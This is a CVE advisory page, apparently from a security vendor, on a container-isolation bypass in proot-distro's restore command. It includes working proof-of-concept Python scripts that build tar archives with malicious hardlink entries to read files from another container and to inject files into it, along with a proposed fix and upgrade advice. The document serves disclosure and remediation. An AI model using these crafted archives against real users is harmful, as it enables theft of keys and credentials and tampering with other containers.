CVE-2026-54727

CVE-2026-54727 is a high-severity security vulnerability in proot-distro (pip), affecting versions <= 5.1.5. It is fixed in 5.1.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Affected Component

  • Package: proot-distro
  • Affected command: restore
  • Attack surface: Host-side Termux CLI processing a user-supplied backup archive
  • Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write

Affected Versions

Component Version
proot-distro 5.1.5 (confirmed affected)
Test distro Alpine Linux
Architecture aarch64
Device Samsung Galaxy A23
Package source https://packages-cf.termux.dev/apt/termux-main stable/main aarch64

When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

Proof of Concept #1, Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

Step 1, Create a victim container and marker file

proot-distro install alpine --name victim

proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'

Verification:

proot-distro login victim -- cat /root/proof.txt

PROOF-12345

Step 2, Create an attacker container

proot-distro install alpine --name attacker

Step 3, Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)

tf.close()
'

Step 4, Restore the crafted archive

proot-distro restore ./malicious.tar

Step 5, Read the copied file from the attacker container

proot-distro run attacker -- cat /exfil/stolen_key

Observed output:

PROOF-12345

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

Proof of Concept #2, Cross-Container File Injection

Step 1, Create attacker-controlled source data

proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'

Step 2, Create a victim container

proot-distro install alpine --name victim

Step 3, Build a crafted archive

python3 -c '
import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo(
    "victim/rootfs/root/copied_from_attacker.txt"
)

h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600

tf.addfile(h)
tf.close()
'

Step 4, Restore the crafted archive

proot-distro restore ./write_test.tar

Step 5, Verify file injection into the victim container

cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"

Observed output:

ATTACKER_DATA

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

Root Cause

During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.

The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.

Proposed Fix

link_container, link_src = _dest_path(member.linkname)

if link_src is None:
    continue

if link_container != container_name:
    continue

link_src = _safe_dest(
    link_container,
    link_src,
    follow_final=True
)

This preserves existing path traversal protections while restoring the expected isolation boundary between containers.

Additional Notes

  • Issue reproduced on the official Termux package repository.
  • No root access was used.
  • No third-party data was accessed.
  • Testing used only self-owned containers and harmless marker data.
  • Cross-container disclosure reproduced using the marker value PROOF-12345.
  • Cross-container file injection reproduced using the marker value ATTACKER_DATA.

Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

  • Disclosure of files from other installed containers.
  • Injection of attacker-controlled files into other installed containers.
  • Exposure of SSH private keys.
  • Exposure of API credentials.
  • Exposure of configuration files containing secrets.
  • Exposure of application databases stored inside container rootfs directories.

The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.

CVE-2026-54727 has a CVSS score of 8.2 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.1.6); upgrading removes the vulnerable code path.

Affected versions

proot-distro (<= 5.1.5)

Security releases

proot-distro → 5.1.6 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade proot-distro to 5.1.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-54727? CVE-2026-54727 is a high-severity security vulnerability in proot-distro (pip), affecting versions <= 5.1.5. It is fixed in 5.1.6.
  2. How severe is CVE-2026-54727? CVE-2026-54727 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of proot-distro are affected by CVE-2026-54727? proot-distro (pip) versions <= 5.1.5 is affected.
  4. Is there a fix for CVE-2026-54727? Yes. CVE-2026-54727 is fixed in 5.1.6. Upgrade to this version or later.
  5. Is CVE-2026-54727 exploitable, and should I be worried? Whether CVE-2026-54727 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54727 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54727? Upgrade proot-distro to 5.1.6 or later.

Other vulnerabilities in proot-distro

Stop the waste.
Protect your environment with Kodem.